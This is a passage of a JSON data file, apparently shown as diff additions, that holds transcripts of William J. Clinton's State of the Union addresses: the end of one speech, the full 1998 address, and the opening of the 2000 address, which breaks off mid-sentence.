people, they just came together. They rose to the occasion,\nneighbor helping neighbor, strangers risking life and limb to stay total\nstrangers, showing the better angels of our nature.Let us not reserve the better angels only for natural disasters, leaving\nour deepest and most profound problems to petty political fighting.Let us instead by true to our spirit, facing facts, coming together,\nbringing hope and moving forward.Tonight, my fellow Americans, we are summoned to answer a question as old\nas the republic itself, what is the state of our union?It is growing stronger but it must be stronger still. With your help and\nGod's help it will be.Thank you and God Bless America.", 
+    "name": "William J. Clinton"
+}
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+{
+    "date": "January 27, 1998", 
+    "speech": "Mr. Speaker, Mr. Vice President, members of the 105th Congress,\ndistinguished guests, my fellow Americans:Since the last time we met in this chamber, America has lost two patriots\nand fine public servants. Though they sat on opposite sides of the aisle,\nRepresentatives Walter Capps and Sonny Bono shared a deep love for this\nHouse and an unshakable commitment to improving the lives of all our\npeople.In the past few weeks, they have both been eulogized. Tonight, I think we\nshould begin by sending a message to their families and their friends that\nwe celebrate their lives, and give thanks for their service to our nation.For 209 years, it has been the president's duty to report to you on the\nstate of the union. Because of the hard work and high purpose of the\nAmerican people, these are good times for America. We have more than 14\nmillion new jobs, the lowest unemployment in 24 years, the lowest core\ninflation in 30 years, incomes are rising and we have the highest home\nownership in history. Crime has dropped for a record five years in a row,\nand the welfare rolls are at their lowest levels in 27 years. Our\nleadership in the world is unrivaled. Ladies and gentlemen, the state of\nour union is strong.But with barely 700 days left in the 20th century, this is not a time to\nrest. It is a time to build--to build the America within reach, an America\nwhere everybody has a chance to get ahead, with hard work; where every\ncitizen can live in a safe community; where families are strong, schools\nare good, and all our young people can go on to college; an America where\nscientists find cures for diseases from diabetes to Alzheimer's to AIDS; an\nAmerica where every child can stretch a hand across a keyboard and reach\nevery book ever written, every painting ever painted, every symphony ever\ncomposed; where government provides opportunity and citizens honor the\nresponsibility to give something back to their communities; an America\nwhich leads the world to new heights of peace and prosperity.This is the America we have begun to build. This is the America we can\nleave to our children--if we join together to finish the work at hand. Let\nus strengthen our nation for the 21st century.Rarely have Americans lived through so much change in so many ways in so\nshort a time. Quietly, but with gathering force, the ground has shifted\nbeneath our feet as we have moved into an information age, a global\neconomy, a truly new world.For five years now, we have met the challenge of these changes as Americans\nhave at every turning point in our history, by renewing the very idea of\nAmerica, widening the circle of opportunity, deepening the meaning of our\nfreedom, forging a more perfect union. We shaped a new kind of government\nfor the information age. I thank the vice president for his leadership, and\nthe Congress for its support, in building a government that is leaner, more\nflexible, a catalyst for new ideas, and most of all, a government that\ngives the American people the tools they need to make the most of their own\nlives.We have moved past the sterile debate between those who say government is\nthe enemy and those who say government is the answer. My fellow Americans,\nwe have found a third way. We have the smallest government in 35 years, but\na more progressive one. We have a smaller government but a stronger\nnation.We are moving steadily toward a an even stronger America in the 21st\ncentury--an economy that offers opportunity, a society rooted in\nresponsibility, and a nation that lives as a community.First, Americans in this chamber and across this nation have pursued a new\nstrategy for prosperity: fiscal discipline to cut interest rates and spur\ngrowth; investments in education and skills, in science and technology and\ntransportation, to prepare our people for the new economy; new markets for\nAmerican products and American workers.When I took office, the deficit for 1998 was projected to be $357 billion,\nand heading higher. This year, our deficit is projected to be $10 billion,\nand heading lower.For three decades, six presidents have come before you to warn of the\ndamage deficits pose to our nation. Tonight, I come before you to announce\nthat the federal deficit, once so incomprehensively large that it had 11\nzeros, will be simply zero.I will submit to Congress, for 1999, the first balanced budget in 30\nyears.And if we hold fast to fiscal discipline, we may balance the budget this\nyear--four years ahead of schedule.You can all be proud of that, because turning a sea of red ink into black\nis no miracle. It is the product of hard work by the American people, and\nof two visionary actions in Congress: The courageous vote in 1993 that led\nto a cut in the deficit of 90 percent and the truly historic bipartisan\nbalanced budget agreement passed by this Congress.Here's the really good news: If we maintain our resolve, we will produce\nbalanced budgets as far as the eye can see.We must not go back to unwise spending or untargeted tax cuts that risk\nreopening the deficit. Last year, together, we enacted targeted tax cuts so\nthat the typical middle class family will now have the lowest tax rates in\n20 years.My plan to balance the budget next year includes both new investments and\nnew tax cuts targeted to the needs of working families: for education, for\nchild care, for the environment.But whether the issue is tax cuts or spending, I ask all of you to meet\nthis test: approve only those priorities that can actually be accomplished\nwithout adding a dime to the deficit.Now, if we balance the budget for next year, it is projected that we'll\nthen have a sizeable surplus in the years that immediately follow. What\nshould we do with this projected surplus?I have a simple four-word answer: Save Social Security first.Tonight, I propose that we reserve 100 percent of the surplus--that's\nevery penny of any surplus--until we have taken all the necessary measures\nto strengthen the Social Security system for the 21st century.Let us say--let us say to all Americans watching tonight, whether you're\n70 or 50, or whether you just started paying into the system, Social\nSecurity will be there when you need it. Let us make this commitment:\nSocial Security first. Let's do that--together.I also want to say that all the American people who are watching us tonight\nshould be invited to join in this discussion, in facing these issues\nsquarely and forming a true consensus on how we should proceed. We'll start\nby conducting nonpartisan forums in every region of the country, and I hope\nthat lawmakers of both parties will participate. We'll hold a White House\nconference on Social Security in December. And one year from now, I will\nconvene the leaders of Congress to craft historic bipartisan legislation to\nachieve a landmark for our generation, a Social Security system that is\nstrong in the 21st century.In an economy that honors opportunity, all Americans must be able to reap\nthe rewards of prosperity. Because these times are good, we can afford to\ntake one simple, sensible step to help millions of workers struggling to\nprovide for their families. We should raise the minimum wage.The information age is first and foremost an education age, in which\neducation will start at birth and continue throughout a lifetime. Last\nyear, from this podium, I said that education has to be our highest\npriority. I laid out a 10-point plan to move us forward, and urged all of\nus to let politics stop at the schoolhouse door.Since then, this Congress--across party lines--and the American people\nhave responded, in the most important year for education in a generation--\nexpanding public school choice, opening the way to 3,000 charter schools,\nworking to connect every classroom in the country to the information\nsuperhighway, committing to expand Head Start to a million children,\nlaunching America Reads, sending literally thousands of college students\ninto our elementary schools to make sure all our 8-year-olds can read.Last year I proposed--and you passed--220,000 new Pell Grant scholarships\nfor deserving students. Student loans, already less expensive and easier to\nrepay--now you get to deduct the interest. Families all over America now can\nput their savings into new, tax-free education IRAs.And this year, for the first two years of college, families will get a\n$1500 tax credit--a Hope Scholarship that will cover the cost of most\ncommunity college tuition. And for junior and senior year, graduate school,\nand job training, there is a lifetime learning credit. You did that, and\nyou should be very proud of it.And because of these actions, I have something to say to every family\nlistening to us tonight: your children can go on to college. If you know a\nchild from a poor family, tell her not to give up, she can go on to\ncollege. If you know a young couple struggling with bills, worried they\nwon't be able to send their children to college, tell them not to give up,\ntheir children can go on to college. If you know somebody who's caught in a\ndead-end job and afraid he can't afford the classes necessary to get better\njobs for the rest of his life, tell him not to give up, he can go on to\ncollege.Because of the things that have been done, we can make college as universal\nin the 21st century as high school is today. And, my friends, that will\nchange the face and future of America.We have opened wide the doors of the world's best system of higher\neducation. Now we must make our public elementary and secondary schools the\nworld's best as well--by raising standards, raising expectations and raising\naccountability.Thanks to the actions of this Congress last year, we will soon have, for\nthe very first time, a voluntary national test based on national standards\nin fourth grade reading and eighth grade math.Parents have a right to know whether their children are mastering the\nbasics. And every parent already knows the key; good teachers and small\nclasses.Tonight, I propose the first ever national effort to reduce class size in\nthe early grades. My balanced budget will help to hire a hundred thousand\nnew teachers who have passed the state competency tests. Now with these\nteachers--listen--with these teachers, we will actually be able to reduce\nclass size in the first, second and third grades to an average of 18\nstudents a class all across America.Now, if I've got the math right, more teachers teaching smaller classes\nrequires more classrooms. So I also propose a school construction tax cut\nto help communities modernize or build 5,000 schools.We must also demand greater accountability. When we promote a child from\ngrade to grade who hasn't mastered the work, we don't do that child any\nfavors. It is time to end social promotion in America's schools.Last year, in Chicago, they made that decision--not to hold our children\nback, but to lift them up. Chicago stopped social promotion and started\nmandatory summer school to help students who are behind to catch up.I propose to help other communities follow Chicago's lead. Let's say to\nthem stop promoting children who don't learn, and we will give you the\ntools to make sure they do.I also ask this Congress to support our efforts to enlist colleges and\nuniversities to reach out to disadvantaged children starting in the sixth\ngrade so that they can get the guidance and hope they need so they can know\nthat they, too, will be able to go on to college.As we enter the 21st century, the global economy requires us to seek\nopportunity not just at home, but in all the markets of the world. We must\nshape this global economy, not shrink from it.In the last five years, we have led the way in opening new markets, with\n240 trade agreements that remove foreign barriers to products bearing the\nproud stamp, \"Made in the USA.\" Today, record high exports account for\nfully one-third of our economic growth. I want to keep them going, because\nthat's the way to keep America growing and to advance a safer, more stable\nworld.Now, all of you know, whatever your views are, that I think this is a great\nopportunity for America. I know there is opposition to more comprehensive\ntrade agreements. I have listened carefully, and I believe that the\nopposition is rooted in two fears: first, that our trading partners will\nhave lower environmental and labor standards, which will give them an\nunfair advantage in our market and do their own people no favors, even if\nthere's more business; and second, that if we have more trade, more of our\nworkers will lose their jobs and have to start over.I think we should seek to advance worker and environmental standards around\nthe world. It should--I have made it abundantly clear that it should be a\npart of our trade agenda, but we cannot influence other countries'\ndecisions if we send them a message that we're backing away from trade with\nthem.This year I will send legislation to Congress, and ask other nations to\njoin us, to fight the most intolerable labor practice of all-abusive child\nlabor.We should also offer help and hope to those Americans temporarily left\nbehind with the global marketplace or by the march of technology, which may\nhave nothing to do with trade. That's why we have more than doubled funding\nfor training dislocated workers since 1993. And if my new budget is\nadopted, we will triple funding. That's why we must do more, and more\nquickly, to help workers who lose their jobs for whatever reason.You know, we help communities in a special way when their military base\ncloses. We ought to help them in the same way if their factory closes.\nAgain, I ask the Congress to continue its bipartisan work to consolidate\nthe tangle of training programs we have today into one single GI Bill for\nWorkers, a simple skills grant so people can, on their own, move quickly to\nnew jobs, to higher incomes and brighter futures.Now, we all know in every way in life change is not always easy, but we\nhave to decide whether we're going to try to hold it back and hide from it,\nor reap its benefits. And remember the big picture here: while we've been\nentering into hundreds of new trade agreements, we've been creating\nmillions of new jobs. So this year we will forge new partnerships with\nLatin America, Asia and Europe, and we should pass the new African Trade\nAct. It has bipartisan support.I will also renew my request for the fast-track negotiating authority\nnecessary to open more new markets, created more new jobs, which every\npresident has had for two decades.You know, whether we like it or not, in ways that are mostly positive, the\nworld's economies are more and more interconnected and interdependent.\nToday, an economic crisis anywhere can affect economies everywhere. Recent\nmonths have brought serious financial problems to Thailand, Indonesia,\nSouth Korea and beyond.Now why should Americans be concerned about this?First, these countries are our customers. If they sink into recession, they\nwon't be able to buy the goods we'd like to sell them.Second, they're also our competitors, so if their currencies lose their\nvalue and go down, then the price of their goods will drop, flooding our\nmarket and others with much cheaper goods, which makes it a lot tougher for\nour people to compete.And finally, they are our strategic partners. Their stability bolsters our\nsecurity.The American economy remains sound and strong, and I want to keep it that\nway. But because the turmoil in Asia will have an impact on all the world's\neconomies, including ours, making that negative impact as small as possible\nis the right thing to do for America, and the right thing to do for a safer\nworld.Our policy is clear: no nation can recover if it does not reform itself,\nbut when nations are willing to undertake serious economic reform, we\nshould help them do it. So I call on Congress to renew America's commitment\nto the International Monetary Fund.And I think we should say to all the people we're trying to represent here,\nthat preparing for a far off storm that may reach our shores is far wiser\nthan ignoring the thunder 'til the clouds are just overhead.A strong nation rests on the rock of responsibility. A society rooted in\nresponsibility must first promote the value of work, not welfare. We could\nbe proud that after decades of finger-pointing and failure, together we\nended the old welfare system. And we're now replacing welfare checks with\npaychecks.Last year, after a record four-year decline in welfare rolls I challenged\nour nation to move two million more Americans off welfare by the year 2000.\nI'm pleased to report we have also met that goal two full years ahead of\nschedule.This is a grand achievement, the sum of many acts of individual courage,\npersistence and hope.For 13 years, Elaine Kinslow of Indianapolis, Indiana was on and off\nwelfare. Today she's a dispatcher with a van company. She's saved enough\nmoney to move her family into a good neighborhood. And she's helping other\nwelfare recipients go to work.Elaine Kinslow and all those like her are the real heroes of the welfare\nrevolution. There are millions like her all across America, and I am happy\nshe could join the first lady tonight. Elaine, we're very proud of you.\nPlease stand up.We still have a lot more to do, all of us, to make welfare reform a\nsuccess; providing child care, helping families move closer to available\njobs, challenging more companies to join our Welfare to Work Partnership,\nincreasing child-support collections from deadbeat parents who have a duty\nto support their own children. I also want to thank Congress for restoring\nsome of the benefits to immigrants who are here legally and working hard.\nAnd I hope you will finish that job this year.We have to make it possible for all hard-working families to meet their\nmost important responsibilities. Two years ago, we helped guarantee that\nAmericans can keep their health insurance when they changed jobs. Last\nyear, we extended health care to up to 5 million children. This year, I\nchallenge Congress to take the next historic steps. A hundred and sixty\nmillion of our fellow citizens are in managed care plans. These plans save\nmoney, and they can improve care. But medical decisions ought to be made by\nmedical doctors, not insurance company accountants.I urge this Congress to reach across the aisle and write into law a\nconsumer bill of rights that says this: You have the right to know all your\nmedical options, not just the cheapest. You have the right to choose the\ndoctor you want for the care you need. You have the right to emergency room\ncare wherever and whenever you need it. You have the right to keep your\nmedical records confidential.Now, traditional care or managed care, every American deserves quality\ncare. Millions of Americans between the ages of 55 and 65 have lost their\nhealth insurance. Some are retired. Some are laid off. Some lose their\ncoverage when their spouses retire. After a lifetime of work, they're left\nwith nowhere to turn.So I ask the Congress, let these hard-working Americans buy into the\nMedicare system. It won't add a dime to the deficit, but the peace of mind\nit will provide will be priceless.Next, we must help parents protect their children from the gravest health\nthreat that they face: an epidemic of teen smoking spread by multimillion\ndollar marketing campaigns. I challenge Congress. Let's pass bipartisan,\ncomprehensive legislation that will improve public health, protect our\ntobacco farmers, and change the way tobacco companies do business forever.Let's do what it takes to bring teen smoking down. Let's raise the price of\ncigarettes by up to $1.50 a pack over the next 10 years, with penalties on\nthe tobacco industry if it keeps marketing to our children.Now tomorrow, like every day, 3,000 children will start smoking, and a\nthousand will die early as a result. Let this Congress be remembered as the\nCongress that saved their lives.In the new economy, most parents work harder than ever. They face a\nconstant struggle to balance their obligations to be good workers, and\ntheir even more important obligations to be good parents.The Family and Medical Leave Act was the very first bill I was privileged\nto sign into law as president in 1993. Since then, about 15 million people\nhave taken advantage of it, and I've met a lot of them all across this\ncountry. I ask you to extend the law to cover 10 million more workers, and\nto give parents time off when they have to go see their children's teachers\nor take them to the doctor.Child care is the next frontier we must face to enable people to succeed at\nhome and at work. Last year, I co-hosted the very first White House\nconference on child care with one of our foremost experts, America's first\nlady. From all corners of America, we heard the same message--without regard\nto region or income or political affiliation--we've got to raise the quality\nof child care, we've got to make it safer, we've got to make it more\naffordable.So here's my plan: Help families to pay for child care for a million more\nchildren; scholarships and background checks for child-care workers, and a\nnew emphasis on early learning; tax credits for businesses that provide\nchild care for their employees; and a larger child-care tax credit for\nworking families.Now, if you pass my plan, what this means is that a family of four with an\nincome of $35,000 and high child-care costs will no longer pay a single\npenny of federal income tax.You know, I think this is such a big issue with me because of my own\npersonal experience. I have often wondered how my mother, when she was a\nyoung widow, would have been able to go away to school and get an education\nand come back and support me, if my grandparents hadn't been able to take\ncare of me. She and I were really very lucky.How many other families have never had that same opportunity? The truth is,\nwe don't know the answer to that question, but we do know what the answer\nshould be. Not a single American family should ever have to choose between\nthe job they need and the child they love.A society rooted in responsibility must provide safe streets, safe schools,\nand safe neighborhoods. We pursued a strategy of more police, tougher\npunishment, smarter prevention with crime-fighting partnerships, with local\nlaw enforcement and citizen groups, where the rubber hits the road.I can report to you tonight that it's working. Violent crime is down,\nrobbery is down, assault is down, burglary is down for five years in a row\nall across America. Now, we need to finish the job of putting 100,000 more\npolice on our streets.Again, I ask Congress to pass a juvenile crime bill that provides more\nprosecutors and probation officers to crack down on gangs and guns and\ndrugs and bar violent juveniles from buying guns for life. And I ask you to\ndramatically expand our support for after-school programs. I think every\nAmerican should know that most juvenile crime is committed between the\nhours of 3:00 in the afternoon and 8:00 at night. We can keep so many of\nour children out of trouble in the first place if we give them some place\nto go other than the streets, and we ought to do it.Drug use is on the decline. I thank General McCaffrey for his leadership,\nand I thank this Congress for passing the largest anti-drug budget in\nhistory. Now I ask you to join me in a ground-breaking effort to hire a\nthousand new Border Patrol agents and to deploy the most sophisticated\navailable new technologies to help close the door on drugs at our borders.Police, prosecutors, and prevention programs, good as they are, they can't\nwork if our court system doesn't work. Today, there are large numbers of\nvacancies in our federal courts. Here is what the chief justice of the\nUnited States wrote: \"Judicial vacancies cannot remain at such high levels\nindefinitely without eroding the quality of justice.\"I simply ask the United States Senate to heed this plea and vote on the\nhighly qualified nominees before you, up or down.We must exercise responsibility not just at home but around the world. On\nthe eve of a new century, we have the power and the duty to build a new era\nof peace and security. But make no mistake about it; today's possibilities\nare not tomorrow's guarantees. America must stand against the poisoned\nappeals of extreme nationalism. We must combat an unholy access of new\nthreats from terrorists, international criminals and drug traffickers.These 21st century predators feed on technology and the free flow of\ninformation and ideas and people, and they will be all the more lethal if\nweapons of mass destruction fall into their hands. To meet these\nchallenges, we are helping to write international rules of the road for the\n21st century, protecting those who join the family of nations and isolating\nthose who do not.Within days, I will ask the Senate for its advice and consent to make\nHungary, Poland and the Czech Republic the newest members of NATO. For 50\nyears, NATO contained communism and kept America and Europe secure. Now\nthese three formerly communist countries have said yes to democracy. I ask\nthe Senate to say yes to them, our new allies.By taking in new members and working closely with new partners, including\nRussia and Ukraine, NATO can help to assure that Europe is a stronghold for\npeace in the 21st century.Next, I will ask Congress to continue its support for our troops and their\nmission in Bosnia. This Christmas, Hillary and I traveled to Sarajevo with\nSenator and Mrs. Dole and a bipartisan congressional delegation. We saw\nchildren playing in the streets where, two years ago, they were hiding from\nsnipers and shells. The shops were filled with food. The cafes were alive\nwith conversation. The progress there is unmistakable; but it is not yet\nirreversible.To take firm root, Bosnia's fragile peace still needs the support of\nAmerican and allied troops when the current NATO mission ends in June. I\nthink Senator Dole actually said it best. He said: \"This is like being\nahead in the fourth quarter of a football game; now is not the time to walk\noff the field and forfeit the victory.\"I wish all of you could have seen our troops in Tuzla. They're very proud\nof what they are doing in Bosnia, and we're all very proud of them. One of\nthose--one of those brave soldiers is sitting with the first lady tonight:\nArmy Sergeant Michael Tolbert. His father was a decorated Vietnam vet.\nAfter college in Colorado, he joined the Army. Last year he led an infantry\nunit that stopped a mob of extremists from taking over a radio station that\nis a voice of democracy and tolerance in Bosnia. Thank you very much,\nSergeant, for what you represent.In Bosnia and around the world, our men and women in uniform always do\ntheir mission well. Our mission must be to keep them well-trained and\nready, to improve their quality of life, and to provide the 21st century\nweapons they need to defeat any enemy.I ask Congress to join me in pursuing an ambitious agenda to reduce the\nserious threat of weapons of mass destruction. This year, four decades\nafter it was first proposed by President Eisenhower, a Comprehensive\nNuclear Test Ban is within reach. By ending nuclear testing, we can help to\nprevent the development of new and more dangerous weapons, and make it more\ndifficult for non-nuclear states to build them.I am pleased to announce that four former chairmen of the Joint Chiefs of\nStaff--Generals John Shalikashvili, Colin Powell and David Jones, and\nAdmiral William Crowe--have endorsed this treaty, and I ask the Senate to\napprove it this year.Together we must also confront the new hazards of chemical and biological\nweapons, and the outlaw states, terrorists and organized criminals seeking\nto acquire them.Saddam Hussein has spent the better part of this decade, and much of his\nnation's wealth, not on providing for the Iraqi people, but on developing\nnuclear, chemical and biological weapons and the missiles to deliver them.The United Nations weapons inspectors have done a truly remarkable job,\nfinding and destroying more of Iraq's arsenal than was destroyed during the\nentire gulf war. Now, Saddam Hussein wants to stop them from completing\ntheir mission.I know I speak for everyone in this chamber, Republicans and Democrats,\nwhen I say to Saddam Hussein, \"You cannot defy the will of the world,\" and\nwhen I say to him, \"You have used weapons of mass destruction before; we\nare determined to deny you the capacity to use them again.\"Last year, the Senate ratified the Chemical Weapons Convention to protect\nour soldiers and citizens from poison gas. Now we must act to prevent the\nuse of disease as a weapon of war and terror. The Biological Weapons\nConvention has been in effect for 23 years now. The rules are good, but the\nenforcement is weak. We must strengthen it with a new international\ninspection system to detect and deter cheating. In the months ahead, I will\npursue our security strategy with old allies in Asia and Europe, and new\npartners from Africa to India and Pakistan, from South America to China.\nAnd from Belfast to Korea to the Middle East, America will continue to\nstand with those who stand for peace.Finally, it's long past time to make good on our debt to the United\nNations.More and more we are working with other nations to achieve common goals. If\nwe want America to lead, we've got to set a good example. As we see--as we\nsee so clearly in Bosnia, allies who share our goals can also share our\nburdens. In this new era, our freedom and independence are actually\nenriched, not weakened, by our increasing interdependence with other\nnations. But we have to do our part.Our founders set America on a permanent course toward a more perfect union.\nTo all of you, I say, it is a journey we can only make together, living as\none community.First, we have to continue to reform our government, the instrument of our\nnational community. Everyone knows elections have become too expensive,\nfueling a fund-raising arms race.This year, by March the 6th, at long last the Senate will actually vote on\nbipartisan campaign finance reform proposed by senators McCain and\nFeingold. Let's be clear; a vote against McCain-Feingold is a vote for soft\nmoney and for the status quo. I ask you to strengthen our democracy and\npass campaign finance reform this year.But at least equally important, we have to address the real reason for the\nexplosion in campaign costs: the high cost of media advertising. I will--\nfor the folks watching at home, those were the groans of pain in the\naudience--I will formally request that the Federal Communications\nCommission act to provide free or reduced-cost television time--for\ncandidates who observe spending limits voluntarily. The airwaves are a\npublic trust, and broadcasters also have to help us in this effort to\nstrengthen our democracy.Under the leadership of Vice President Gore, we have reduced the federal\npayroll by 300,000 workers, cut 16,000 pages of regulation, eliminated\nhundreds of programs and improved the operations of virtually every\ngovernment agency. But we can do more.Like every taxpayer, I'm outraged by the reports of abuses by the IRS. We\nneed some changes there: new citizen advocacy panels, a stronger taxpayer\nadvocate, phone lines open 24 hours a day, relief for innocent taxpayers.Last year, by an overwhelming bipartisan margin, the House of\nRepresentatives passed sweeping IRS reforms. This bill must not now\nlanguish in the Senate. Tonight, I ask the Senate: Follow the House; pass\nthe bipartisan package as your first order of business. I hope to goodness\nbefore I finish I can think of something to say 'Follow the Senate' on so\nI'll be out of trouble!A nation that lives as a community must value all its communities. For the\npast five years, we have worked to bring the spark of private enterprise to\ninner city and poor rural areas with community development banks, more\ncommercial loans into poor neighborhoods, cleanup of polluted sites for\ndevelopment.Under the continued leadership of the vice president, we propose to triple\nthe number of empowerment zones to give business incentives to invest in\nthose areas. We should. We should also give poor families more help to move\ninto homes of their own, and we should use tax cuts to spur the\nconstruction of more low-income housing.Last year, this Congress took strong action to help the District of\nColumbia. Let us renew our resolve to make our capital city a great city\nfor all who live and visit here.Our cities are the vibrant hubs of great metropolitan areas. They are still\nthe gateway for new immigrants from every continent who come here to work\nfor their own American dreams. Let's keep our cities going strong into the\n21st Century. They're a very important part of our future.Our communities are only as healthy as the air our children breathe, the\nwater they drink, the Earth they will inherit. Last year we put in place\nthe toughest-ever controls on smog and soot. We moved to protect\nYellowstone, the Everglades, Lake Tahoe. We expanded every community's\nright to know about toxics that threaten their children.Just yesterday, our food safety plan took effect, using new science to\nprotect consumers from dangers like e. coli and salmonella.Tonight, I ask you to join me in launching a new Clean Water initiative, a\nfar-reaching effort to clean our rivers, our lakes and our coastal waters\nfor our children.Our overriding environmental challenge tonight is the worldwide problem of\nclimate change, global warming, the gathering crisis that requires\nworldwide action. The vast majority of scientists have concluded\nunequivocally that if we don't reduce the emission of greenhouse gases at\nsome point in the next century, we'll disrupt our climate and put our\nchildren and grandchildren at risk.This past December, America led the world to reach a historic agreement\ncommitting our nation to reduce greenhouse gas emissions through market\nforces, new technologies, energy efficiency.We have it in our power to act right here, right now. I propose $6 billion\nin tax cuts, in research and development, to encourage innovation,\nrenewable energy, fuel-efficient cars, energy-efficient homes. Every time\nwe have acted to heal our environment, pessimists have told us it would\nhurt the economy. Well, today our economy is the strongest in a generation,\nand our environment is the cleanest in a generation. We have always found a\nway to clean the environment and grow the economy at the same time. And\nwhen it comes to global warming, we'll do it again.Finally, community means living by the defining American value, the ideal\nheard 'round the world: that we're all created equal. Throughout our\nhistory, we haven't always honored that ideal, and we've never fully lived\nup to it. Often it's easier to believe that our differences matter more\nthan what we have in common. It may be easier, but it's wrong.What we have to do in our day and generation to make sure that America\ntruly becomes one nation, what do we have to do? We're becoming more and\nmore and more diverse. Do you believe we can become one nation? The answer\ncannot be to dwell on our differences, but to build on our shared values.And we all cherish family and faith, freedom and responsibility. We all\nwant our children to grow up in the world where their talents are matched\nby their opportunities.I've launched this national initiative on race to help us recognize our\ncommon interests and to bridge the opportunity gaps that are keeping us\nfrom becoming one America. Let us begin by recognizing what we still must\novercome.Discrimination against any American is un-American. We must vigorously\nenforce the laws that make it illegal. I ask your help to end the backlog\nat the Equal Employment Opportunity Commission. Sixty thousand of our\nfellow citizens are waiting in line for justice, and we should act now to\nend their wait.We should also recognize that the greatest progress we can make toward\nbuilding one America lies in the progress we make for all Americans,\nwithout regard to race. When we open the doors of college to all Americans,\nwhen we rid all our streets of crime, when there are jobs available to\npeople from all our neighborhoods, when we make sure all parents have the\nchild care they need, we're helping to build one nation.We in this chamber and in this government must do all we can to address the\ncontinuing American challenge to build one America. But we'll only move\nforward if all our fellow citizens, including every one of you at home\nwatching tonight, is also committed to this cause.We must work together, learn together, live together, serve together. On\nthe forge of common enterprise, Americans of all backgrounds can hammer out\na common identity.We see it today in the United States military, in the Peace Corps, in\nAmeriCorps. Wherever people of all races and backgrounds come together in a\nshared endeavor and get a fair chance, we do just fine. With shared values\nand meaningful opportunities and honest communications and citizen service,\nwe can unite a diverse people in freedom and mutual respect. We are many.\nWe must be one.In that spirit, let us lift our eyes to the new millennium. How will we\nmark that passage? It just happens once every thousand years. This year,\nHillary and I launched the White House Millennium Program to promote\nAmerica's creativity and innovation and to preserve our heritage and\nculture into the 21st century. Our culture lives in every community, and\nevery community has places of historic value that tell our stories as\nAmericans. We should protect them.I am proposing a public-private partnership to advance our arts and\nhumanities and to celebrate the millennium by saving America's treasures\ngreat and small. And while we honor the past, let us imagine the future.Now, think about this. The entire store of human knowledge now doubles\nevery five years. In the 1980s, scientists identified the gene causing\ncystic fibrosis; it took nine years. Last year, scientists located the gene\nthat causes Parkinson's disease--in only nine days! Within a decade, gene\nchips will offer a road map for prevention of illnesses throughout a\nlifetime. Soon, we'll be able to carry all the phone calls on Mother's Day\non a single strand of fiber the width of a human hair. A child born in 1998\nmay well live to see the 22nd century.Tonight, as part of our gift to the millennium, I propose a 21st Century\nresearch fund for pathbreaking scientific inquiry, the largest funding\nincrease in history for the National Institutes of Health, the National\nScience Foundation, and the National Cancer Institute. We have already\ndiscovered we have already discovered genes for breast cancer and diabetes.\nI ask you to support this initiative so ours will be the generation that\nfinally wins the war against cancer and begins a revolution in our fight\nagainst all deadly diseases.As important as all this scientific progress is, we must continue to see\nthat science serves humanity, not the other way around. We must prevent the\nmisuse of genetic tests to discriminate against any American, and we must\nratify the ethical consensus of the scientific and religious communities,\nand ban the cloning of human beings.We should enable all the world's people to explore the far reaches of\ncyberspace. Think of this: the first time I made a State of the Union\nspeech to you, only a handful of physicists used the World Wide Web--\nliterally just a handful of people.Now in schools and libraries, homes and businesses, millions and millions\nof Americans surf the Net every day.We must give parents the tools they need to help protect their children\nfrom inappropriate material on the Net, but we also must make sure that we\nprotect the exploding, global commercial potential of the Internet. We can\ndo the kinds of things that we need to do and still protect our kids. For\none thing, I ask Congress to step up support for building the next\ngeneration Internet. It's getting kind of clogged, you know. And the next\ngeneration Internet will operate at speeds up to a thousand times faster\nthan today.Even as we explore this inner space, in the new millennium we're going to\nopen new frontiers in outer space.Throughout all history, human kind has had only one place to call home: our\nplanet Earth. Beginning this year, 1998, men and women from 16 countries\nwill build a foothold in the heavens--the International Space Station. With\nits vast expanses, scientists and engineers will actually set sail on an\nuncharted sea of limitless mystery and unlimited potential.And this October, a true American hero, a veteran pilot of 149 combat\nmissions and one five-hour space flight that changed the world, will return\nto the heavens. Godspeed, John Glenn!John, you will carry with you America's hopes, and on your uniform once\nagain you will carry America's flag, marking the unbroken connection\nbetween the deeds of America's past and the daring of America's future.Nearly 200 years ago, a tattered flag, its broad stripes and bright stars\nstill gleaming through the smoke of a fierce battle, moved Francis Scott\nKey to scribble a few words on the back of an envelope, the words that\nbecame our National Anthem. Today, that Star-Spangled Banner, along with\nthe Declaration of Independence, the Constitution and the Bill of Rights,\nare on display just a short walk from here. They are America's treasures.\nAnd we must also save them for the ages.I ask all Americans to support our project to restore all our treasures so\nthat the generations of the 21st century can see for themselves the images\nand the words that are the old and continuing glory of America, an America\nthat has continued to rise through every age against every challenge, a\npeople of great works and greater possibilities, who have always, always\nfound the wisdom and strength to come together as one nation, to widen the\ncircle of opportunity, to deepen the meaning of our freedom, to form that\nmore perfect union.Let that be our gift to the 21st century.God bless you, and God bless the United States.", 
+    "name": "William J. Clinton"
+}
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+{
+    "date": "January 27, 2000", 
+    "speech": "Mr. Speaker, Mr. Vice President, Members of Congress, honored guests, my\nfellow Americans:We are fortunate to be alive at this moment in history. Never before has\nour nation enjoyed, at once, so much prosperity and social progress with so\nlittle internal crisis or so few external threats. Never before have we had\nsuch a blessed opportunity--and, therefore, such a profound obligation--\nto build the more perfect union of our founders' dreams.We begin the new century with over 20 million new jobs. The fastest\neconomic growth in more than 30 years; the lowest unemployment rates in 30\nyears; the lowest poverty rates in 20 years; the lowest African-American\nand Hispanic unemployment rates on record; the first back-to-back budget\nsurpluses in 42 years.Next month, America will achieve the longest period of economic growth in\nour entire history.We have built a new economy.Our economic revolution has been matched by a revival of the American\nspirit: Crime down by 20 percent, to its lowest level in 25 years. Teen\nbirths down seven years in a row and adoptions up by 30 percent. Welfare\nrolls cut in half to their lowest levels in 30 years.My fellow Americans, the state of our union is the strongest it has ever\nbeen.As always, the credit belongs to the American people.My gratitude also goes to those of you in this chamber who have worked with\nus to put progress above partisanship.Eight years ago, it was not so clear to most Americans there would be much\nto celebrate in the year 2000. Then our nation was gripped by economic\ndistress, social decline, political gridlock. The title of a best-selling\nbook asked: \"America: What went wrong?\"In the best traditions of our nation, Americans determined to set things\nright. We restored the vital center, replacing outdated ideologies with a\nnew vision anchored in basic, enduring values: opportunity for all,\nresponsibility from all, and a community of all Americans.We reinvented government, transforming it into a catalyst for new ideas\nthat stress both opportunity and responsibility, and give our people the\ntools to solve their own problems.With the smallest federal workforce in 40 years, we turned record deficits\ninto record surpluses, and doubled our investment in education. We cut\ncrime: with 100,000 community police and the Brady Law, which has kept guns\nout of the hands of half a million criminals.We ended welfare as we knew it--requiring work while protecting health\ncare and nutrition for children, and investing more in child care,\ntransportation, and housing to help their parents go to work. We 